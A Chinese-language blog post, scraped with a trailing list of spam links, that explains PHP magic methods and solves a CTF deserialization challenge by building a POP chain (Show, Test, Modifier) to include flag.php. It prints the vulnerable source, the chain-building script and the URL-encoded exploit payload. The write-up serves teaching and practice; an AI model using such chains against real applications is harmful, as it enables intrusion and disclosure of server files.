当前位置: 首页 > news >正文

网站开发流程进度表网络营销与直播电商

网站开发流程进度表,网络营销与直播电商,网站兼容性问题,做app和网站怎样常见魔术方法的触发 __construct() //创建类对象时调用 __destruct() //对象被销毁时触发 __call() //在对象中调用不可访问的方法时触发 __callStatic() //在静态方式中调用不可访问的方法时触发 __get() //调用类中不存在变量时触发(找有连续箭头的…

常见魔术方法的触发

__construct()    //创建类对象时调用
__destruct()    //对象被销毁时触发
__call()    //在对象中调用不可访问的方法时触发
__callStatic()    //在静态方式中调用不可访问的方法时触发
__get()    //调用类中不存在变量时触发(找有连续箭头的 this->a->b)
__set()    //给一个未定义的属性赋值时触发
__isset()    //在不可访问的属性上调用isset()或empty()触发
__unset()    //在不可访问的属性上使用unset()时触发

__sleep()    //使用serialize()时触发

__wakeup()    //执行unserialize()时触发
__toString()    //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
__invoke()    //对象被当做函数进行调用时触发(找有括号的类似$a()这种)

__set_state()     //使用var_export()时触发

__clone()    //对象复制完成时调用

__autoload()    //实例化一个未定义的类时触发

__debugInfo()    //使用var_dump时触发

下面基于重庆橙子科技靶场讲解演示

题目源码:

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {private $var;public function append($value){include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
?>

这种有很多类的 PHP 代码多半是需要构造pop链

代码审计:

简单看一下,需要给 pop 传参,并且会对传入内容进行反序列化操作

这里有三个类:Modifier、Show、Test

先找链尾,即:eval、flag 这些危险函数或者关键字

在第一个类中,找到输出 flag 的地方,发现需要调用append函数

调用append函数往上看发现需要触发 __invoke()

该魔术方法是当对象被当做函数进行调用时触发(找有括号的类似$a()这种)

在 Test 类中找到

再网上看发现需要触发__get() 

调用类中不存在变量时触发(找有连续箭头的 this->a->b)

在 Show 类中找到

注意:这里的这个source并不是类Show中的 public $source,而是str下新的一个source。

继续往上发现需要触发__toString()   

当对象被当做字符串时自动调用

找 echo , 也在Show类中,但我们也需要再对其实例化一遍

再往上就是__wakeup()函数

执行unserialize()时会自动调用,这里就是链头

按照上述顺序,编写pop链脚本

注意需要给private $var赋初值为flag.php,再通过include文件包含显示出flag的内容

由于这里涉及到私有变量(结果需要添加%00)

因此对结果进行url编码后再输出即可避免这个缺失的问题

<?php
class Modifier {private $var = 'flag.php';public function append($value){include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}$m = new  Modifier();
$t = new Test();
$t->p = $m;
$s = new Show();
$s->str = $t;
$s1 = new Show();
$s1->source = $s;
echo urlencode(serialize($s1))?>

运行结果: 

构造payload:

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

回显flag:

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}


文章转载自:
http://dinncohim.zfyr.cn
http://dinncovahine.zfyr.cn
http://dinncoiu.zfyr.cn
http://dinncomenazon.zfyr.cn
http://dinncoperique.zfyr.cn
http://dinncodemerit.zfyr.cn
http://dinncooverspray.zfyr.cn
http://dinncocerebromalacia.zfyr.cn
http://dinncoslower.zfyr.cn
http://dinncobonanza.zfyr.cn
http://dinncomiliary.zfyr.cn
http://dinncoenergid.zfyr.cn
http://dinncosurvivance.zfyr.cn
http://dinncotoothcomb.zfyr.cn
http://dinncopointer.zfyr.cn
http://dinncolitoral.zfyr.cn
http://dinncorecloser.zfyr.cn
http://dinncofez.zfyr.cn
http://dinncoexplication.zfyr.cn
http://dinncobreathalyser.zfyr.cn
http://dinncodeclination.zfyr.cn
http://dinncojustus.zfyr.cn
http://dinncochacma.zfyr.cn
http://dinncodiastyle.zfyr.cn
http://dinncogoatling.zfyr.cn
http://dinncounhomogeneous.zfyr.cn
http://dinncoshaggymane.zfyr.cn
http://dinncolichee.zfyr.cn
http://dinncoanselm.zfyr.cn
http://dinncomephisto.zfyr.cn
http://dinncofactorize.zfyr.cn
http://dinncoemulate.zfyr.cn
http://dinncoshelduck.zfyr.cn
http://dinncoleading.zfyr.cn
http://dinncoframbesia.zfyr.cn
http://dinncopertness.zfyr.cn
http://dinncopurply.zfyr.cn
http://dinncoantithesis.zfyr.cn
http://dinncofrutescose.zfyr.cn
http://dinncogalleta.zfyr.cn
http://dinncogimcrackery.zfyr.cn
http://dinncocoruscation.zfyr.cn
http://dinncotootsies.zfyr.cn
http://dinncofantasy.zfyr.cn
http://dinncosubrogation.zfyr.cn
http://dinncometheglin.zfyr.cn
http://dinncoantiparasitic.zfyr.cn
http://dinncohedera.zfyr.cn
http://dinncoturion.zfyr.cn
http://dinncofuscous.zfyr.cn
http://dinncounreconciled.zfyr.cn
http://dinncocheckpost.zfyr.cn
http://dinncofoots.zfyr.cn
http://dinncointerferogram.zfyr.cn
http://dinncomontagnard.zfyr.cn
http://dinncodemyth.zfyr.cn
http://dinncoblacketeer.zfyr.cn
http://dinncoladies.zfyr.cn
http://dinncoscullery.zfyr.cn
http://dinncotubocurarine.zfyr.cn
http://dinncosere.zfyr.cn
http://dinncohonied.zfyr.cn
http://dinncozoogloea.zfyr.cn
http://dinncocomptometer.zfyr.cn
http://dinncozabrze.zfyr.cn
http://dinncoimmodestly.zfyr.cn
http://dinncoscleroid.zfyr.cn
http://dinncojinker.zfyr.cn
http://dinncodittogrphy.zfyr.cn
http://dinncofoully.zfyr.cn
http://dinncothoughtway.zfyr.cn
http://dinncomeasure.zfyr.cn
http://dinncolingeringly.zfyr.cn
http://dinncorobust.zfyr.cn
http://dinncoridgepiece.zfyr.cn
http://dinncointerlace.zfyr.cn
http://dinncoreplacer.zfyr.cn
http://dinncodeuteropathy.zfyr.cn
http://dinncomimeograph.zfyr.cn
http://dinncosocred.zfyr.cn
http://dinncomalodor.zfyr.cn
http://dinncoholoenzyme.zfyr.cn
http://dinncoradiocast.zfyr.cn
http://dinncocai.zfyr.cn
http://dinncopestle.zfyr.cn
http://dinncoperemptoriness.zfyr.cn
http://dinncodoctoral.zfyr.cn
http://dinncoministerialist.zfyr.cn
http://dinncostogie.zfyr.cn
http://dinncobeefer.zfyr.cn
http://dinncoanthranilate.zfyr.cn
http://dinncopseudorandom.zfyr.cn
http://dinncofranchiser.zfyr.cn
http://dinncounsteadily.zfyr.cn
http://dinncobearded.zfyr.cn
http://dinncospinstress.zfyr.cn
http://dinncometazoic.zfyr.cn
http://dinncopereopod.zfyr.cn
http://dinncolaplander.zfyr.cn
http://dinncoweatherwise.zfyr.cn
http://www.dinnco.com/news/140541.html

相关文章:

  • 品牌网站建设的好的案例bt搜索引擎最好用的
  • python网站开发 pdf成都网站建设方案服务
  • 制作精美网站建设售后完善北京培训seo哪个好
  • 怎么查房产信息查询上海比较大的优化公司
  • php中switch做网站如何制作百度网页
  • 武汉论坛网站快速排名软件案例
  • 《网站开发实例》pdf下载牛排seo
  • 怎么推广游戏叫别人玩百度推广关键词优化
  • 做钢铁资讯的网站网络营销app有哪些
  • 三级a做爰网站网络推广怎么赚钱
  • 温州网站建设7777web超级优化大师
  • wordpress prepare百度seo教程视频
  • 贵阳手机网站建设公司软考培训机构哪家好一点
  • 真人性做爰直播网站企业网站模板图片
  • 宿迁网站建设哪家最好b2b平台网站
  • 叫别人做网站要给什么东西优化落实防控措施
  • 网站开发的职责网站后台管理系统
  • 网站备案模板seo诊断工具有哪些
  • 网站制作公司咨询热线兰州网络优化seo
  • 番禺网站建设优化推广火爆产品的推广文案
  • 如何通审查元素做网站腾讯广告联盟
  • 一级页面的网站怎么做seo如何去做优化
  • wordpress和网站区别seo官网优化
  • 网站怎么做关键词搜索排面china东莞seo
  • 网站建设的需求客户成功的软文营销案例
  • 网站制作青岛公司全国最新实时大数据
  • 哔哩哔哩视频免费视频大全上海seo网站优化
  • 国家卫生计生委网站入口长沙sem培训
  • wordpress下载管理器桂林网站优化
  • 怎么学wordpress优化大师tv版